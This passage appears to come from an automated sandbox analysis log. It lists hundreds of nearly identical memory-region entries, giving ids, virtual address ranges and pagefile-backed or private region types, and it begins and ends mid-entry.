"pagefile_0x0000000000460000" filename = "" Region: id = 12829 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12830 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12831 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12832 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12833 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12834 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12835 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12836 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12837 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12838 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12839 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12840 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12841 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12842 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12843 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12844 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12845 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12846 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12847 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12848 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12849 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12850 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12851 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12852 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12853 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12854 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12855 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12856 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12857 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12858 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12859 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12860 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12861 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12862 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12863 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12864 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12865 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12866 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12867 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12868 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12869 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12870 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12871 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12872 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12873 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12874 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12875 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12876 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12877 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12878 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12879 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12880 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12881 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12882 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12883 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12884 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12885 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12886 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12887 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12888 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12889 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12890 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12891 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12892 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12893 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12894 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12895 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12896 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12897 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12898 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12899 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12900 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12901 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12902 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12903 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12904 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12905 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12906 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12907 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12908 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12909 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12910 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12911 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12912 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12913 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12914 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12915 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12916 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12917 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12918 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12919 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12920 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12921 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12922 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12923 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12924 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12925 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12926 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12927 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12928 start_va = 0x115d0000 end_va = 0x11ac2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115d0000" filename = "" Region: id = 12929 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12930 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12931 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12932 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12933 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12934 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12935 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12936 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12937 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12938 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12939 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12940 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12941 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12942 start_va = 0x129d0000 end_va = 0x12ec1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000129d0000" filename = "" Region: id = 12943 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12944 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12945 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12946 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12947 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12948 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12949 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12950 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12951 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12952 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12953 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12954 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12955 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12956 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12957 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12958 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12959 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12960 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12961 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12962 start_va = 0x9150000 end_va = 0x9249fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000009150000" filename = "" Region: id = 12963 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12964 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12965 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12966 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12967 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12968 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12969 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12970 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12971 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12972 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12973 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12974 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12975 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12976 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12977 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12978 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12979 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12980 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12981 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12982 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12983 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12984 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12985 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12986 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12987 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12988 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12989 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12990 start_va = 0x460000 end_va = 0x462fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12991 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 12992 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 12993 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 12994 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 12995 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 12996 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 12997 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 12998 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 12999 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13000 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13001 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13002 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13003 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13004 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13005 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13006 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13007 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13008 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13009 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13010 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13011 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13012 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13013 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13014 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13015 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13016 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 